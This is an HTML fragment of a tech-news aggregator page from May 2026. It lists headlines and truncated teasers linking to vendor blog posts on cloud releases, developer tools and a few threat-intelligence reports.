          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-platforms"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley" class="group relative scroll-mt-24">
        <a href="#h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Keep Your Tech Flame Alive: Trailblazer Rachel Bayley
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In this Akamai FLAME Trailblazer blog post, Rachel Bayley encourages women to step into the unknown and to be their authentic selves.</p>
<p><strong>📅 May 18, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/culture/2024/may/keep-your-tech-flame-alive-trailblazer-rachel-bayley"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-oracle-of-delphi-will-steal-your-credentials" class="group relative scroll-mt-24">
        <a href="#h3-the-oracle-of-delphi-will-steal-your-credentials" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Oracle of Delphi Will Steal Your Credentials
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-oracle-of-delphi-will-steal-your-credentials"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Our deception technology is able to reroute attackers into honeypots, where they believe that they found their real target. The attacks brute forced passwords for RDP credentials to connect to the vic</p>
<p><strong>📅 May 18, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/the-oracle-of-delphi-steal-your-credentials"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger" class="group relative scroll-mt-24">
        <a href="#h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Nansh0u Campaign – Hackers Arsenal Grows Stronger
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In the beginning of April, three attacks detected in the Guardicore Global Sensor Network (GGSN) caught our attention. All three had source IP addresses originating in South-Africa and hosted by Volum</p>
<p><strong>📅 May 18, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/the-nansh0u-campaign-hackers-arsenal-grows-stronger"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-amazon-emr-serverless-is-now-available-in-additional-aws-regions" class="group relative scroll-mt-24">
        <a href="#h3-amazon-emr-serverless-is-now-available-in-additional-aws-regions" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon EMR Serverless is now available in additional AWS Regions
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-emr-serverless-is-now-available-in-additional-aws-regions"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amazon EMR Serverless is now generally available in six additional AWS Regions - Asia Pacific (Hyderabad), Asia Pacific (Malaysia), Asia Pacific (New Zealand), Asia Pacific (Taipei), Asia Pacific (Tha</p>
<p><strong>📅 May 15, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/05/amazon-emr-serverless-aws-regions/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-aws-partner-central-agents-now-accelerates-opportunity-creation" class="group relative scroll-mt-24">
        <a href="#h3-aws-partner-central-agents-now-accelerates-opportunity-creation" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AWS Partner Central agents now accelerates opportunity creation
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-aws-partner-central-agents-now-accelerates-opportunity-creation"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Today, AWS announces that the AWS Partner Central agents now accelerate opportunity creation through natural language conversation. AWS Partner Central agents, released on March 16, 2026, are AI-power</p>
<p><strong>📅 May 15, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/05/aws-partner-central-agents-oppo"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-amazon-connect-cases-now-lets-you-edit-related-items-and-delete-cases-from-the-agent-workspace" class="group relative scroll-mt-24">
        <a href="#h3-amazon-connect-cases-now-lets-you-edit-related-items-and-delete-cases-from-the-agent-workspace" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon Connect Cases now lets you edit related items and delete cases from the agent workspace
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-connect-cases-now-lets-you-edit-related-items-and-delete-cases-from-the-agent-workspace"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amazon Connect Cases now supports editing and deleting related items, and deleting cases directly from the agent workspace without administrator help. Agents can update comments, unlink contacts assoc</p>
<p><strong>📅 May 15, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/05/amazon-connect-cases-related-item/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-gemini-live-agent-challenge-announcing-the-winners-and-highlights" class="group relative scroll-mt-24">
        <a href="#h3-gemini-live-agent-challenge-announcing-the-winners-and-highlights" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Gemini Live Agent Challenge: Announcing the winners and highlights
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-gemini-live-agent-challenge-announcing-the-winners-and-highlights"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The Gemini Live Agent Challenge is officially in the books! We challenged developers worldwide to break out of the traditional &#39;text box&#39; paradigm by building next-generation AI agents. From our initi</p>
<p><strong>📅 May 15, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/topics/developers-practitioners/winners-and-highlights-of-the-gemini-live-agent-challenge/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-welcome-to-blackfile-inside-a-vishing-extortion-operation" class="group relative scroll-mt-24">
        <a href="#h3-welcome-to-blackfile-inside-a-vishing-extortion-operation" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Welcome to BlackFile: Inside a Vishing Extortion Operation
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-welcome-to-blackfile-inside-a-vishing-extortion-operation"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Written by: Austin Larsen, Tyler McLellan, Genevieve Stark, Dan Ebreo Introduction Google Threat Intelligence Group (GTIG) has continued to track an expansive extortion campaign by UNC6671, a threat a</p>
<p><strong>📅 May 15, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/topics/threat-intelligence/blackfile-vishing-extortion-operation/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-friday-five-may-15-2026" class="group relative scroll-mt-24">
        <a href="#h3-friday-five-may-15-2026" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Friday Five — May 15, 2026
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-friday-five-may-15-2026"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Catch up on the news at Red Hat Summit 2026This definitive guide to all of Red Hat&#39;s news offers a centralized view of the latest product innovations, strategic collaborations, and visionary milestone</p>
<p><strong>📅 May 15, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/friday-five-may-15-2026-red-hat"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-scaling-sap-hana-performance-insights-from-aws-intel-and-suse" class="group relative scroll-mt-24">
        <a href="#h3-scaling-sap-hana-performance-insights-from-aws-intel-and-suse" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Scaling SAP HANA Performance: Insights from AWS, Intel, and SUSE
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-scaling-sap-hana-performance-insights-from-aws-intel-and-suse"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Most SAP teams know they need to move to the cloud. The hesitation isn’t about whether they should, it’s about what happens to performance when you get there. On-premises SAP HANA appliances are predi</p>
<p><strong>📅 May 14, 2026</strong> • <strong>📰 SUSE Blog</strong></p>
<p><a href="https://www.suse.com/c/scaling-sap-hana-performance-insights-from-aws-intel-and-suse/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-may-patches-for-azure-devops-server" class="group relative scroll-mt-24">
        <a href="#h3-may-patches-for-azure-devops-server" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 May Patches for Azure DevOps Server
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-may-patches-for-azure-devops-server"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We are releasing new patches for our self‑hosted product, Azure DevOps Server. We strongly recommend that all customers stay up to date with the latest, most secure version of Azure DevOps Server. The</p>
<p><strong>📅 May 14, 2026</strong> • <strong>📰 Azure DevOps Blog</strong></p>
<p><a href="https://devblogs.microsoft.com/devops/may-patches-for-azure-devops-server-3/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-cloud-ciso-perspectives-how-google-wiz-changes-multicloud-strategy-for-cisos" class="group relative scroll-mt-24">
        <a href="#h3-cloud-ciso-perspectives-how-google-wiz-changes-multicloud-strategy-for-cisos" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Cloud CISO Perspectives: How Google + Wiz changes multicloud strategy for CISOs
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-cloud-ciso-perspectives-how-google-wiz-changes-multicloud-strategy-for-cisos"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Welcome to the first Cloud CISO Perspectives for May 2026. Today, Vinod D’Souza, director, Office of the CISO, shares highlights from his RSA Conference fireside chat with Anthony Belfiore, chief stra</p>
<p><strong>📅 May 14, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/products/identity-security/cloud-ciso-perspectives-how-google-wiz-changes-multicloud-strategy-for-cisos/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-misc" class="group relative scroll-mt-24">
        <a href="#h2-misc" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📰 Misc
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-misc"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-visual-studio-code-1121" class="group relative scroll-mt-24">
        <a href="#h3-visual-studio-code-1121" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Visual Studio Code 1.121
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-visual-studio-code-1121"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn what&#39;s new in Visual Studio Code 1.121 (Insiders) Read the full article</p>
<p><strong>📅 May 20, 2026</strong> • <strong>📰 VS Code Blog</strong></p>
<p><a href="https://code.visualstudio.com/updates/v1_121"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-mac-mini-just-became-infrastructure" class="group relative scroll-mt-24">
        <a href="#h3-the-mac-mini-just-became-infrastructure" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Mac mini just became infrastructure
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-mac-mini-just-became-infrastructure"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>On April 30, Apple’s Q2 2026 earnings call did something unusual. Tim Cook spent meaningful airtime on Mac mini and The post The Mac mini just became infrastructure appeared first on The New Stack.</p>
<p><strong>📅 May 17, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/mac-mini-agent-infrastructure/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-clean-up-cost-of-ai-generated-code-is-what-the-velocity-narrative-leaves-out" class="group relative scroll-mt-24">
        <a href="#h3-the-clean-up-cost-of-ai-generated-code-is-what-the-velocity-narrative-leaves-out" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The clean-up cost of AI-generated code is what the velocity narrative leaves out
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-clean-up-cost-of-ai-generated-code-is-what-the-velocity-narrative-leaves-out"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The world is actively using AI to make our lives more efficient and safe — from creative writing to safer The post The clean-up cost of AI-generated code is what the velocity narrative leaves out appe</p>
<p><strong>📅 May 16, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/cleanup-cost-ai-code/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-github-takes-aim-at-claude-code-and-codex-with-its-new-copilot-app" class="group relative scroll-mt-24">
        <a href="#h3-github-takes-aim-at-claude-code-and-codex-with-its-new-copilot-app" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GitHub takes aim at Claude Code and Codex with its new Copilot app
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-github-takes-aim-at-claude-code-and-codex-with-its-new-copilot-app"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>GitHub’s latest move to shake up its Copilot coding assistant is to give it its very own home in a The post GitHub takes aim at Claude Code and Codex with its new Copilot app appeared first on The New</p>
<p><strong>📅 May 16, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/github-copilot-desktop-app/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-forward-deployed-engineer-is-ais-hottest-job-as-openai-and-google-race-to-hire-heres-how-to-become-one" class="group relative scroll-mt-24">
        <a href="#h3-forward-deployed-engineer-is-ais-hottest-job-as-openai-and-google-race-to-hire-heres-how-to-become-one" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Forward deployed engineer is AI’s hottest job as OpenAI and Google race to hire. Here’s how to become one.
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-forward-deployed-engineer-is-ais-hottest-job-as-openai-and-google-race-to-hire-heres-how-to-become-one"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>I’m Matt Burns, Chief Content Officer at Insight Media Group. Each week, I round up the most important AI developments, The post Forward deployed engineer is AI’s hottest job as OpenAI and Google race</p>
<p><strong>📅 May 16, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/forward-deployed-engineer-fde-openai-google/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-why-devops-is-critical-for-modern-business-resilience" class="group relative scroll-mt-24">
        <a href="#h3-why-devops-is-critical-for-modern-business-resilience" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Why DevOps Is Critical for Modern Business Resilience
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-why-devops-is-critical-for-modern-business-resilience"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Today’s business world operates in a state of constant change. What the customer wants to buy changes quickly, new competitors appear overnight, and cyber threats are changing faster than ever. In thi</p>
<p><strong>📅 May 15, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/why-devops-is-critical-for-modern-business-resilience/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-pyrefly-lsp-integration-with-type-engine-in-pycharm-202612" class="group relative scroll-mt-24">
        <a href="#h3-pyrefly-lsp-integration-with-type-engine-in-pycharm-202612" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Pyrefly LSP Integration with Type Engine in PyCharm 2026.1.2
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-pyrefly-lsp-integration-with-type-engine-in-pycharm-202612"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In PyCharm 2026.1.2, you can enable Pyrefly as an external type provider, dramatically increasing the speed of the IDE’s code insight features. What is the Pyrefly LSP? “LSP” stands for the Language S</p>
<p><strong>📅 May 15, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/pycharm/2026/05/pyrefly-lsp-integration-in-pycharm-2026-1-2"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-intellij-idea-202612-is-out" class="group relative scroll-mt-24">
        <a href="#h3-intellij-idea-202612-is-out" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
